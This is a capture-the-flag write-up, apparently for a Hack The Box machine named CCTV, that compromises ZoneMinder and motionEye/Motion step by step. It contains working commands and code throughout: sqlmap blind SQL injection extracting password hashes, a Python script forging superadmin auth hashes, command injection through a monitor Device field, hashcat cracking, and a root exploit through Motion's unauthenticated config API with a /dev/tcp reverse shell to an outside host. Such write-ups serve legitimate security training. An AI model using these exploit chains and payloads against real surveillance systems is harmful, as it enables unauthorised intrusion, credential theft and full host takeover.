FILE 004 · Initial access
CCTV
ZoneMinder 1.37.63 gives up bcrypt hashes to a blind SQLi, and its auth secret was never changed, so I forge a superadmin session instead of cracking. Root is Motion's unauth config API running $(...) as a filename.
- ZoneMinder default creds
- CVE-2024-51482 blind SQLi
- forged legacy auth hash
- monitor Device injection
- Motion config injection
Season: 10 · Difficulty: Easy (Linux)
CCTV is two surveillance products stacked on one host, and both of them leak the thing that protects them. ZoneMinder hands out its own config over the API, including the auth secret it ships with and tells you to change. Motion exposes a control API on loopback with no auth at all, and treats a config value as a shell-expanded filename. Neither step needs a cracked password.
Reconnaissance
Nmap Scan
# kali
nmap -p- --min-rate 5000 -sV 10.129.x.x
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open http Apache httpd 2.4.58
Port 80 redirects to cctv.htb, which goes in /etc/hosts.
Web Enumeration
The root page is an Apache default. Feroxbuster finds the actual application:
# kali
feroxbuster -u http://cctv.htb
/zm/ZoneMinder surveillance interface/zm/api/CakePHP REST API, CakePHP 2.10.24/zm/api/app/directory listing
No version in the UI. admin:admin works on the login form, and once logged in the API will tell me:
# kali
curl -s -b "ZMSESSID=<cookie>" "http://cctv.htb/zm/api/host/getVersion.json"
# => {"version":"1.37.63","apiversion":"2.0"}
1.37.63 is inside the CVE-2024-51482 range.
Initial Foothold: SQL injection to forged auth to RCE
admin can log in but only holds System: View, so every setting is greyed out. The user list shows where the power is:
# kali
curl -s -b "ZMSESSID=<cookie>" "http://cctv.htb/zm/api/users.json"
| Username | System |
|---|---|
| superadmin | Edit |
| mark | View |
| admin | View |
System: Edit is what I need for RCE, so the target is superadmin. The same API also dumps every configuration value, which is more generous than it sounds:
# kali
curl -s -b "ZMSESSID=<cookie>" "http://cctv.htb/zm/api/configs.json"
ZM_DB_USER = zmuser,ZM_DB_PASS = zmpassZM_AUTH_HASH_SECRET = ...Change me to something unique..., never changedZM_OPT_USE_LEGACY_API_AUTH = 1, legacy auth hashes are onZM_AUTH_HASH_IPS = 0, the client IP is not part of the hash
Those last three lines are the box. Hold them.
ZoneMinder 1.37.* up to 1.37.64 takes SQL injection in the tid parameter of the event tag removal endpoint (web/ajax/event.php), where tagId goes into the query unparameterised.
# kali
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
--cookie="ZMSESSID=<cookie>" --dbms=mysql --batch
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT 8166 FROM (SELECT(SLEEP(5)))npbw)
Time-based blind is slow, and bcrypt hashes are full of $, so I pull them out HEX-encoded:
# kali
sqlmap -u '...' --cookie="..." --dbms=mysql -p tid --technique=T \
--sql-query="SELECT HEX(Password) FROM zm.Users WHERE Username='superadmin'" --batch
About twenty minutes later:
| Username | bcrypt |
|---|---|
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
Cracking superadmin’s bcrypt would take a while and is not necessary. The legacy auth hash is:
md5(SECRET + Username + PasswordHash + hour + mday + month + year)
I have all of it. The secret came from the config dump, the username is superadmin, and PasswordHash is the stored bcrypt string, which is exactly what the SQLi just gave me. The IP is excluded because ZM_AUTH_HASH_IPS = 0. The only unknown is the server’s local time, and that is a small search space.
# kali
import hashlib, time, requests
SECRET = '...Change me to something unique...'
USERNAME = 'superadmin'
PASSHASH = '$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm'
for tz_offset in range(-12, 13):
for hour_offset in [0, -1]: # ZM accepts the current and previous hour
now = time.time() + ((tz_offset + hour_offset) * 3600)
t = time.localtime(now)
# PHP localtime(): month is 0-indexed, year is years since 1900
h, d, m, y = t.tm_hour, t.tm_mday, t.tm_mon - 1, t.tm_year - 1900
auth = hashlib.md5(f"{SECRET}{USERNAME}{PASSHASH}{h}{d}{m}{y}".encode()).hexdigest()
r = requests.get(f'http://cctv.htb/zm/index.php?view=console&auth={auth}',
allow_redirects=False)
if r.status_code == 200 and 'login' not in r.text[:500]:
print(f"[+] SUCCESS with UTC offset {tz_offset:+d}h: auth={auth}")
break
[+] SUCCESS with UTC offset -2h: auth=b49c45a99a9360a119e95472ca136270
As superadmin I can create monitors, and the monitor Device field ends up in a shell command. The forged hash is short-lived, so the whole chain has to run inside one requests.Session():
# kali
s = requests.Session()
r = s.get(f'http://cctv.htb/zm/index.php?view=console&auth={auth}')
csrf = re.search(r'csrfMagicToken\s*=\s*"([^"]+)"', r.text).group(1)
r2 = s.post('http://cctv.htb/zm/index.php?view=monitor&mid=0&action=save', data={
'__csrf_magic': csrf,
'action': 'save',
'Monitor[Name]': 'pwn',
'Monitor[Function]': 'Monitor',
'Monitor[Type]': 'Local',
'Monitor[Device]': '/dev/video0;echo YmFzaCAtaSA+Ji...|base64 -d|bash',
'Monitor[Method]': 'simple'
})
With nc -lvnp 1338 waiting, the shell lands as www-data.
Lateral Movement: www-data -> mark
mark’s bcrypt came out of the same SQLi, and unlike superadmin’s it falls to rockyou:
# kali
echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > hash.txt
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
# => opensesame
It is reused for SSH:
# kali
ssh mark@cctv.htb
The user flag is in /home/sa_mark/, not /home/mark/. sa_mark is the system account matching the ZoneMinder superadmin.
# target
cat /home/sa_mark/user.txt
Privilege Escalation: mark -> root
Several services are listening that never showed up externally:
# target
ss -tlnp
| Port | Service |
|---|---|
| 8765 | motionEye web interface |
| 7999 | Motion HTTP control API |
| 8554 | RTSP |
| 9081 | Motion MJPEG |
| 1935 | RTMP |
| 3306 | MySQL |
motionEye 0.43.1b4, running as a systemd unit as root, with admin credentials sitting in /etc/motioneye/:
# target
systemctl status motioneye
# => /usr/bin/python3 /usr/local/bin/meyectl startserver
cat /etc/motioneye/motioneye.conf
# => # @admin_username admin
# => # @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
motionEye up to 0.43.1b4 is vulnerable to CVE-2025-60787, because dashboard input is written straight into Motion’s config files and Motion expands shell metacharacters in values like picture_filename.
The web dashboard is not even needed. Motion’s own control API on 7999 takes config changes with no authentication:
# target
curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%Y-%m-%d-%H-%M-%S"
# => Camera CAM 01 ... picture_filename ... value='%Y-%m-%d-%H-%M-%S'
So: drop a script, make it the filename, then force Motion to write a picture.
# target
echo '#!/bin/bash' > /tmp/rev.sh
echo 'bash -i >& /dev/tcp/10.10.15.3/1340 0>&1' >> /tmp/rev.sh
chmod +x /tmp/rev.sh
curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%24(/tmp/rev.sh)"
curl -s "http://127.0.0.1:7999/1/config/set?picture_output=on"
curl -s "http://127.0.0.1:7999/1/config/set?emulate_motion=on"
On the next frame Motion evaluates $(/tmp/rev.sh) while building the filename, and Motion is root.
# target
id
# => uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
Flags
| Flag | Hash |
|---|---|
| User | <redacted> |
| Root | <redacted> |
Attack Path Summary
ZoneMinder 1.37.63 at /zm/, admin:admin on the login form
→ /zm/api/configs.json leaks ZM_AUTH_HASH_SECRET (never changed), legacy auth on, IP not hashed
→ CVE-2024-51482 time-based blind SQLi in tid → HEX-extract bcrypt hashes from zm.Users
→ md5(SECRET+user+bcrypt+hour+mday+month+year) → forge superadmin, no cracking needed
→ monitor Device field is shell-interpreted → reverse shell as www-data
→ mark's bcrypt cracks to opensesame → SSH → /home/sa_mark/user.txt
→ Motion control API on 127.0.0.1:7999, unauthenticated
→ CVE-2025-60787, picture_filename=$(/tmp/rev.sh) + emulate_motion → root.txt